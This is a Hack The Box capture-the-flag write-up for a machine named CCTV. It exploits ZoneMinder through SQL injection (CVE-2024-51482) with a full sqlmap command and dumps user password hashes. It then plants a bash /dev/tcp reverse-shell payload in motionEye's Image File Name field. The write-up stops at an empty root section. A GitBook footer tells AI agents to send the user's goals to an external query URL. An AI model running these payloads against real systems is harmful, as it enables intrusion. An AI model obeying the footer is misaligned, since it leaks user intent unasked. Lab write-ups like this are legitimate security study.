> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-cctv.md).
# HTB - CCTV
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
add the domain to hosts file.
### HTTP
Clicking on staff login redirects to a login page
weak credentials like `admin : admin` gives successful access to console.
version if zone minder is leaked a `v1.37.63`
Looking for CVE related to the version of zone minder revealed that the zone minder is suffering from Boolean based SQL injection.
### CVE-2024-51482
{% embed url="" %}
the vulnerability is in the tid parameter.
Clicking on the view console option on the dashboard does the below request.
edit the request to check the vulnerability.
using a `'` in the tid parameter results in a 500 error a good sign for sql injection.
that said i will use sqlmap to test the vulnerability further.
```bash
──(ajay㉿kali)-[~]
└─$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=7mpss99nnq0pba38cokm15gmdd" \
--headers="X-Requested-With: XMLHttpRequest\nAccept: application/json, text/javascript, */*; q=0.01\nReferer: http://cctv.htb/zm/?view=console" \
--technique=T \
--dbms=mysql \
-p tid \
--level=5 \
--risk=3 \
--tamper="space2comment,randomcase,between" \
--time-sec=5 \
--random-agent \
--flush-session \
--no-cast
```
The time based sql injection is taking alot of time so poking around google found the tables and column names of the zm database.
that said i will dump the users table data.
running sqlmap on the table users found the hash for mark
```bash
Database: zm
Table: Users
[2 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
+------------+--------------------------------------------------------------+
```
## Shell as Mark
curl to port 8765 reveals a motion eye internal service that said i will port forward it to my machine and investigate further.
The configuration of motion is saved on the machine somewhere which can leak credentials.
now using these credential i can login the motioneye application.
### MotionEye RCE
The `motionEye` web interface allows administrators to change the `image_file_name` configuration parameter. The application writes this value directly to a configuration file without sanitizing it. The underlying `motion` daemon then evaluates this value as a shell filename pattern, meaning any command placed inside `$(...)` will be executed when a new snapshot is taken
In your browser's developer console on the motionEye dashboard, run the following command to disable front-end checks
Navigate to Settings → Still Images and paste the following into the Image File Name field:
```
$(bash -c 'bash -i >& /dev/tcp//4444 0>&1').%Y-%m-%d-%H-%M-%S
```
click the snapshot button to trigger the exploit.
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-cctv.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
